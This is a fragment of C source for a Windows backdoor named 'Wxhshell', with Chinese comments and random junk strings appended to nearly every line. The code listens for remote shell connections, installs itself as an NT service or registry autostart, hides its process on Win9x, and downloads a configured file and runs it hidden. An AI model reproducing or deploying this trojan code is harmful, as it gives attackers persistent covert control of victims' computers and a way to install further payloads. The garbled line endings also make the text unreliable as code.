ULONG UniqueProcessId; OyV<u@[i
ULONG InheritedFromUniqueProcessId; L@`ouQ"sa
} PROCESS_BASIC_INFORMATION; ~w8JH2O
D^%^xq)E
PROCNTQSIP NtQueryInformationProcess; 'R`tLN
z4M9M7)"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?;/^Ya1;Z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Iv2j">3)
W"^wnGa@a
HANDLE hProcess; a<}#HfC;'
PROCESS_BASIC_INFORMATION pbi;
]$b[`g&
b306&ZVEk
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B(xN Gs
if(NULL == hInst ) return 0; >{\7&}gz
)XcOl7XLN
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W@|6nPm
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;bHV
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^j-3av=
EF3Cdu{]P
if (!NtQueryInformationProcess) return 0; $/!{OU.t`
H"ZZ.^"5FV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;22oY>w
if(!hProcess) return 0; m3Il3ZY.
otggN:^Qw
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [kE."#
4jD2FFG-
G
CloseHandle(hProcess); J{^RkGF
E4m`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,|&9M^
if(hProcess==NULL) return 0; A\8}|r(>9E
K2%w0ohC
HMODULE hMod; ,^#yo6-
char procName[255]; KM^ufF2[
unsigned long cbNeeded; y~()|L[
ME'|saP
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _6ay-u
RV@*c4KvO+
CloseHandle(hProcess); lz1wO5%h
"*G.EiLq
if(strstr(procName,"services")) return 1; // 以服务启动 -D6exTxh"
vWGwVH/K
return 0; // 注册表启动 r@ZJ{4\Q
} }.s~T#v
M|:UwqV>
// 主模块 Yw#2uh
int StartWxhshell(LPSTR lpCmdLine) {nLjY|*
{ Qxj JN^Q
SOCKET wsl; M(/r%-D
BOOL val=TRUE; [jmd
int port=0; !.d@L6
struct sockaddr_in door; 9k{PBAP
2RSt)3!},
if(wscfg.ws_autoins) Install(); ;G%R<Z
RjN{%YkXe
port=atoi(lpCmdLine); rtc9wu
l\C.",CEcc
if(port<=0) port=wscfg.ws_port; =UV`.d2[
u*hSj)vr1
WSADATA data; >$4d7.^hb/
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !"Oh36
:0h_K
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; G37U6PuZi
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '3uVkp 6tF
door.sin_family = AF_INET; 8@tV9+u
door.sin_addr.s_addr = inet_addr("127.0.0.1"); w K}T`*k
door.sin_port = htons(port); 6i}iAP|0
s_mS^`P7
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yj\Nkh
closesocket(wsl); P-9<YN
return 1; %$b:X5$Z
} z*-2.}&U<
A{A\RSZ0
if(listen(wsl,2) == INVALID_SOCKET) { 6fw(T.Pe
closesocket(wsl); >3Eo@J,?d
return 1; ;3@cy|\:
} (SvWvm
Wxhshell(wsl); {E@Lft-
WSACleanup(); A,a.8!*}vd
T:; 2
return 0; ,N)/w1?I
@H=:)*;
} x@[rms
DP|D\+YyYA
// 以NT服务方式启动 xoN3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i*Z"Me
{ -PfX0y9n
DWORD status = 0; mGK|ihYu
DWORD specificError = 0xfffffff; 6ZP"p<xX
Q637N|01
serviceStatus.dwServiceType = SERVICE_WIN32; `G}TG(
serviceStatus.dwCurrentState = SERVICE_START_PENDING; (=om,g}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _WRFsDZ'
serviceStatus.dwWin32ExitCode = 0; B\XKw'
serviceStatus.dwServiceSpecificExitCode = 0; x U4 +|d
serviceStatus.dwCheckPoint = 0; z*!%g[3I
serviceStatus.dwWaitHint = 0; I "A_b}~*}
bJX)$G
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <P=twT;P
if (hServiceStatusHandle==0) return; ye,>A.
R21b!Pd\
status = GetLastError(); Kkm>e{0)AY
if (status!=NO_ERROR) T:=lz:}I
{ fSokm4]vg
serviceStatus.dwCurrentState = SERVICE_STOPPED; E
S //
serviceStatus.dwCheckPoint = 0; !*7 vFl
serviceStatus.dwWaitHint = 0; )84 ~ugs
serviceStatus.dwWin32ExitCode = status; l`f/4vy
serviceStatus.dwServiceSpecificExitCode = specificError; N$U$5;r~`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); md"!33 @
return; c"B{/;A
} G6$kv2(k`@
;5659!;
serviceStatus.dwCurrentState = SERVICE_RUNNING; <4HDZ{"M
serviceStatus.dwCheckPoint = 0; gMzcTmbc8
serviceStatus.dwWaitHint = 0; zdYy^8V|z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =\H!GT
} d^{RQ
^rifRY-,yO
// 处理NT服务事件,比如:启动、停止 xe^Gs]fm
VOID WINAPI NTServiceHandler(DWORD fdwControl) e4 >_v('
{ .K1FKC$C
switch(fdwControl) 8@MV%MVy$
{ vH :LQ!2
case SERVICE_CONTROL_STOP: V3^&oe%
serviceStatus.dwWin32ExitCode = 0; ,F,X
,
serviceStatus.dwCurrentState = SERVICE_STOPPED; m}7iTDJR9
serviceStatus.dwCheckPoint = 0; hhCrUn"
serviceStatus.dwWaitHint = 0;
EK6:~
{ Bu#VMkchJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); wAf\|{Vn
} YQj 2
return; @$[?z9ck"
case SERVICE_CONTROL_PAUSE: NQJq6S4@
serviceStatus.dwCurrentState = SERVICE_PAUSED; [OC5l>
break; XAF+0 x!
case SERVICE_CONTROL_CONTINUE: X\{LnZ@r4
serviceStatus.dwCurrentState = SERVICE_RUNNING; < t,zaIi
break; leTf&W
case SERVICE_CONTROL_INTERROGATE: W\d{a(*
break; =THpdtL
}; J IUx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); JB<Sl4
} um!J]N^
Rh_np
// 标准应用程序主函数 O$_)G\\\m
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]>=}*=
{ /|C*
S4Y&
// 获取操作系统版本 l]Ax : Z
OsIsNt=GetOsVer(); }fb#G<3
GetModuleFileName(NULL,ExeFile,MAX_PATH); +BETF;0D
TQpf Q
// 从命令行安装 '
aq!^!z
if(strpbrk(lpCmdLine,"iI")) Install(); $u]jy0X<Y;
vq(0OPj8r[
// 下载执行文件 haK3?A,"_A
if(wscfg.ws_downexe) { gG<~-8uQ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M2OIBH4!
WinExec(wscfg.ws_filenam,SW_HIDE); _>(^tCo
} =;Rtdy/Yn%
itBwCIj G
if(!OsIsNt) { -GhP9; d
// 如果时win9x,隐藏进程并且设置为注册表启动 %5M/s'O?i
HideProc(); kMi/>gpQ
StartWxhshell(lpCmdLine); [j=yMP38!:
} +B B@OW
else s4A43i'g!h
if(StartFromService()) *>7 >g"
// 以服务方式启动 z> Rsi
StartServiceCtrlDispatcher(DispatchTable); j*so9M6|c
else HN=V"a
// 普通方式启动 Dfg2`l
StartWxhshell(lpCmdLine); X[]m _@ v
G_bG
return 0; We$:&K0
}